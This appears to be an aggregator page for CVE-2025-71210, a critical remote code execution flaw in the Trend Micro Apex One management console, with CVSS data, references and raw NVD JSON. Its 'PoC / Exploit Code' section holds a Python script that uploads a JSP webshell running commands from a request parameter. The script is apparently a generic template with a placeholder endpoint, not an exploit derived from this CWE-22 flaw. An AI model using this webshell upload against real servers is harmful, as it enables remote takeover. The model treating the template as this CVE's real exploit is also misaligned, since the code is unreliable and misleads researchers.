CVE-2025-71210

Description

A vulnerability in the Trend Micro Apex One management console could allow a remote attacker to upload malicious code and execute commands on affected installations. Please note: although this vulnerability carries a technical critical CVSS rating, this was reported via responsible disclosure via a researcher through the Zero Day Initiative. The SaaS versions of the product have already been mitigated and no customer action required. For this particular vulnerability, an attacker must have access to the Trend Micro Apex One Management Console, so customers that have their console�s IP address exposed externally should consider mitigating factors such as source restrictions if not already applied.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Trend Micro Apex One (本地部署版本)

Trend Micro Apex One (非SaaS版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL of the vulnerable Apex One Management Console
# Replace with actual target endpoint based on vulnerability analysis
target_url = "http://target-server:port/vulnerable_upload_endpoint"

# Malicious file payload (e.g., webshell)
# This simulates uploading a file that executes commands
malicious_file_content = "<%@ page import='java.io.*' %><% Runtime.getRuntime().exec(request.getParameter('cmd')); %>"

files = {
    'file': ('cmd.jsp', malicious_file_content, 'application/octet-stream')
}

try:
    print("[*] Sending exploit payload to target...")
    response = requests.post(target_url, files=files, timeout=10)
    
    if response.status_code == 200:
        print("[+] Payload uploaded successfully.")
        print("[+] Check the uploaded file location to execute commands.")
    else:
        print(f"[-] Upload failed. Status Code: {response.status_code}")
        print(f"[-] Response: {response.text}")
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71210
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71210
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71210/
[4] VulDB https://vuldb.com/cve/CVE-2025-71210
[5] https://success.trendmicro.com/en-US/solution/KA-0022458
[6] https://www.zerodayinitiative.com/advisories/ZDI-26-136/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71210", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:43.540", "lastModified": "2026-05-21T15:05:28.023", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the Trend Micro Apex One management console could allow a remote attacker to upload malicious code and execute commands on affected installations.\r\n\r\nPlease note: although this vulnerability carries a technical critical CVSS rating, this was reported via responsible disclosure via a researcher through the Zero Day Initiative. The SaaS versions of the product have already been mitigated and no customer action required.\r\n\r\nFor this particular vulnerability, an attacker must have access to the Trend Micro Apex One Management Console, so customers that have their console�s IP address exposed externally should consider mitigating factors such as source restrictions if not already applied."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://success.trendmicro.com/en-US/solution/KA-0022458", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-136/", "source": "[email protected]"}]}}